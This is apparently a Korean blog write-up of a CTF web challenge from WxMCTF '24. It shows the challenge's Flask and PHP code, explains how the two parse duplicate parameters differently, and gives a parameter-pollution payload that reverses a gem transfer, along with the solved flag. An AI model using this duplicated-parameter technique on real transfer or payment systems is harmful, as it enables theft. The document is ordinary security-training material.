[Web] Brawl: The Heist
📌 Intro
parameter pollution 과 관련된 문제
After getting all of his brawlers to 500 trophies, Eatingfood has found himself in a pickle - there is a Fang on the opposing team every other match and he can no longer play the game! Luckily, he has a plan - to get enough gems to buy every brawler and hypercharge so he can get back to mindlessly mashing buttons and winning. Not wanting to wait and earn gems slowly by normal methods, he has resorted to some slightly more unethical means - uploading a virus into the Brawl Stars servers which would allow him to siphon gems from other players. However, the virus has an unexpected effect: it only allows him to transfer gems to other players. Can you find a way to get him enough gems so he can get back to mindlessly button mashing?
🔬 Analysis
// app.py
@app.route("/check-balance", methods=["GET"])
def check():
response = requests.get("http://localhost:80/gateway.php").content
accounts = json.loads(response)
if (accounts["Eatingfood"] < 0):
return render_template("check-balance.html", data=accounts, flag=":(")
if (accounts["Eatingfood"] >= 100000):
return render_template("check-balance.html", data=accounts, flag=flag)
return render_template("check-balance.html", data=accounts)
Eatingfood 계정의 잔액을 100,000원 이상으로 만들면 flag를 휙득할 수 있다.
// app.py
@app.route("/send", methods=["POST"])
def send_data():
raw_data = request.get_data()
recipient = request.form.get("recipient");
amount = request.form.get("amount");
if (amount == None or (not amount.isdigit()) or int(amount) < 0 or recipient == None or recipient == "Eatingfood"):
return redirect("https://media.tenor.com/UlIwB2YVcGwAAAAC/waah-waa.gif")
# Send the data to the Apache PHP server
raw_data = b"sender=Eatingfood&" + raw_data;
requests.post("http://localhost:80/gateway.php", headers={"content-type": request.headers.get("content-type")}, data=raw_data)
return redirect("/check-balance")
/send 를 분석해보면 http://localhost:80/gateway.php로 raw_data를 전송하는 부분임을 알 수 있다.
raw_data는 post 데이터로 전송받은 recipient, amount 와 하드코딩 되어있는 sender로 구성되어 있다.
즉, amount=1234&recipient=LostCactus 데이터로 요청을 보내면 최종 raw_data는 다음과 같다.
sender=Eatingfood&amount=1234&recipient=LostCactus
// gateway.php
<?php
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$json = file_get_contents('accounts.json');
$json_data = json_decode($json,true);
$json_data[$_POST['recipient']] += $_POST['amount'];
$json_data[$_POST['sender']] -= $_POST['amount'];
file_put_contents('accounts.json', json_encode($json_data));
}
if ($_SERVER["REQUEST_METHOD"] === "GET") {
echo file_get_contents('accounts.json');
}
?>
gateway.php 코드를 살펴보면 recipient에게 amount 만큼 금액을 추가하고, sender에게 amount 만큼 금액을 뺀다.
🎉 Exploit
<Flask와 PHP(Apache)에서 중복된 파라미터에 대해 파싱(Parsing)하는 방식>
파라미터는 a=1&a=2와 같이 전송되었다고 가정한다.
- Flask : 처음 만나는 매개변수의 값을 채택하고, 이후의 중복된 값은 무시한다. (a=1이 선택됨)
- PHP(Apache HTTP 서버) : 마지막 매개변수의 값을 우선시한다. (a=2가 선택됨)
sender=Eatingfood&amount=100000&recipient=LostCactus&sender=LostCactus&recipient=Eatingfood
🚩 Flag
wxmctf{p4rAm373r_P0lLU7IOn}
'🚩 CTF Writeup > WxMCTF '24' 카테고리의 다른 글
[rev] Binary Conspicuous Digits (0) | 2024.03.12 |
---|---|
[web] Nuclear Launch Codes (0) | 2024.03.11 |
[web] Walmart! (0) | 2024.03.11 |
댓글
이 글 공유하기
다른 글
-
[rev] Binary Conspicuous Digits
[rev] Binary Conspicuous Digits
2024.03.12 -
[web] Nuclear Launch Codes
[web] Nuclear Launch Codes
2024.03.11 -
[web] Walmart!
[web] Walmart!
2024.03.11